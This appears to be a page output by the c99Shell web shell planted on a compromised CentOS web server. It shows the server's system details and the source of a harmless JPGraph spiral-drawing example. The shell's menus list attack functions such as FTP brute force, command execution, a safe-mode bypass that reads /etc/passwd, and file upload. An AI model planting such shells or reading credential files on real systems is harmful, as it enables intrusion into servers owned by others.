!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/jpgraph/src/Examples/   drwxr-xr-x
Free 52.31 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     canvaspiralex1.php (1.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: canvaspiralex1.php,v 1.1 2002/10/26 11:35:42 aditus Exp $
include "../jpgraph.php";
include 
"../jpgraph_canvas.php";


if( empty(
$_GET['r']) ) 
    
$r 0.44;
else
    
$r $_GET['r'];

if( empty(
$_GET['w']) ) 
    
$w=150;
else
    
$w $_GET['w'];

if( empty(
$_GET['h']) ) 
    
$h=240;
else
    
$h $_GET['h'];

if( 
$w 60 $w=60;
if( 
$h 60 $h=60;


function 
SeaShell($img,$x,$y,$w,$h,$r,$n=12,$color1='navy',$color2='red') {

    
$x += $w;
    
$w = (1-$r)/$r*$w;

    
$sa 0;
    
$ea 90;

    
$s1 1;
    
$s2 = -1;
    
$x_old=$x$y_old=$y;
    for(
$i=1$i $n; ++$i) {
    
$sa += 90;
    
$ea += 90;
    if( 
$i == ) {
        
$y $y $s1*$h*$r;
        
$h = (1-$r)*$h;
        
$w $w / (1-$r) * $r ;
        
$s1 *= -1;
        
$img->SetColor($color1);
        
$img->Line($x,$y,$x+$s1*$w,$y);
    }
    else {
        
$x $x $s2*$w*$r;
        
$w = (1-$r)*$w;
        
$h $h / (1-$r) * $r;
        
$s2 *= -1;
        
$img->SetColor($color1);
        
$img->Line($x,$y,$x,$y-$s2*$h);
    }
    
$img->SetColor($color2);
    
$img->FilledRectangle($x-1,$y-1,$x+1,$y+1);
    
$img->Arc($x,$y,2*$w+1,2*$h+1,$sa,$ea);
    
$img->Arc($x,$y,2*$w,2*$h,$sa,$ea);
    
$img->Arc($x,$y,2*$w-1,2*$h-1,$sa,$ea);
    
$img->Line($x_old,$y_old,$x,$y);
    
$x_old=$x$y_old=$y;
    }
}

$g = new CanvasGraph($w,$h);
//$gr = 1.61803398874989484820;

$p SeaShell($g->img,0,20,$w-1,$h-21,$r,19);
$g->img->SetColor('black');
$g->img->Rectangle(0,20,$w-1,$h-1);
$g->img->SetFont(FF_FONT2,FS_BOLD);
$g->img->SetTextAlign('center','top');
$g->img->StrokeText($w/2,0,"Canvas Spiral");

$g->Stroke();
?>


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0067 ]--